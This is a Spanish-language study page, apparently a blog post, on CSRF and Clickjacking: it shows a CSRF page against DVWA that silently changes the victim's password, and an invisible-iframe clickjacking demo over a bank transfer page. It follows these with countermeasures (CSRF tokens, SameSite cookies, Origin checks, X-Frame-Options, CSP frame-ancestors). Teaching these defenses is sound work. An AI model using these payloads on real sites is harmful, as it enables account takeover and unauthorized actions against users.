← Volver al inicio
CSRF Clickjacking OWASP Tokens X-Frame-Options

CSRF y Clickjacking

12/04/2022

Estudio práctico de las vulnerabilidades CSRF (Cross-Site Request Forgery) y Clickjacking, su explotación en DVWA y sus contramedidas.

1. CSRF — Cross-Site Request Forgery

El atacante engaña a un usuario autenticado para que ejecute acciones no deseadas en una aplicación web donde tiene sesión activa.

Condiciones necesarias

Explotación en DVWA (nivel low)

<!-- Página maliciosa que el atacante envía a la víctima -->
<!-- Si la víctima la abre mientras tiene sesión en DVWA, cambia su contraseña -->
<html>
<body onload="document.forms[0].submit()">
  <form action="http://10.0.2.4/dvwa/vulnerabilities/csrf/"
        method="GET">
    <input type="hidden" name="password_new" value="hackeado">
    <input type="hidden" name="password_conf" value="hackeado">
    <input type="hidden" name="Change" value="Change">
  </form>
</body>
</html>

Contramedidas CSRF

<?php
// 1. CSRF Token — generar y validar en cada formulario:
session_start();
if (empty($_SESSION['csrf_token'])) {
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}

// En el formulario HTML:
// <input type="hidden" name="csrf_token" value="<?= $_SESSION['csrf_token'] ?>">

// Al procesar el formulario:
if (!hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) {
    die('CSRF token inválido');
}
?>
# 2. SameSite Cookie (en php.ini o código):
session.cookie_samesite = Strict
# o
session.cookie_samesite = Lax

# 3. Verificar cabecera Origin/Referer:
if ($_SERVER['HTTP_ORIGIN'] !== 'https://midominio.com') {
    http_response_code(403); exit;
}

2. Clickjacking

El atacante superpone un iframe invisible sobre una página legítima para que el usuario haga clic en elementos sin saberlo.

Demostración básica

<!-- El atacante crea una página con un iframe invisible sobre la víctima -->
<style>
  iframe {
    position: absolute;
    top: 0; left: 0;
    width: 100%; height: 100%;
    opacity: 0.0001;   /* invisible pero interactivo */
    z-index: 999;
  }
  .boton-falso {
    position: absolute;
    top: 200px; left: 300px;
    z-index: 1;
  }
</style>

<!-- Botón falso que el usuario cree que está pulsando -->
<div class="boton-falso">¡Gana un iPhone!</div>

<!-- Iframe de la página real (ej: botón de transferencia bancaria) -->
<iframe src="https://banco.com/transferir"></iframe>

Contramedidas Clickjacking

# 1. Cabecera HTTP X-Frame-Options (en .htaccess o código):
Header set X-Frame-Options "DENY"
# o
Header set X-Frame-Options "SAMEORIGIN"

# 2. Content Security Policy frame-ancestors:
Header set Content-Security-Policy "frame-ancestors 'none';"
# o permitir solo el propio dominio:
Header set Content-Security-Policy "frame-ancestors 'self';"

# 3. Frame-busting JavaScript (menos fiable):
if (top !== self) { top.location = self.location; }

Resumen comparativo

AtaqueMecanismoContramedida principal
CSRFPetición HTTP forjada ejecutada por sesión activaCSRF Token + SameSite Cookie
ClickjackingIframe invisible superpuesto sobre página legítimaX-Frame-Options: DENY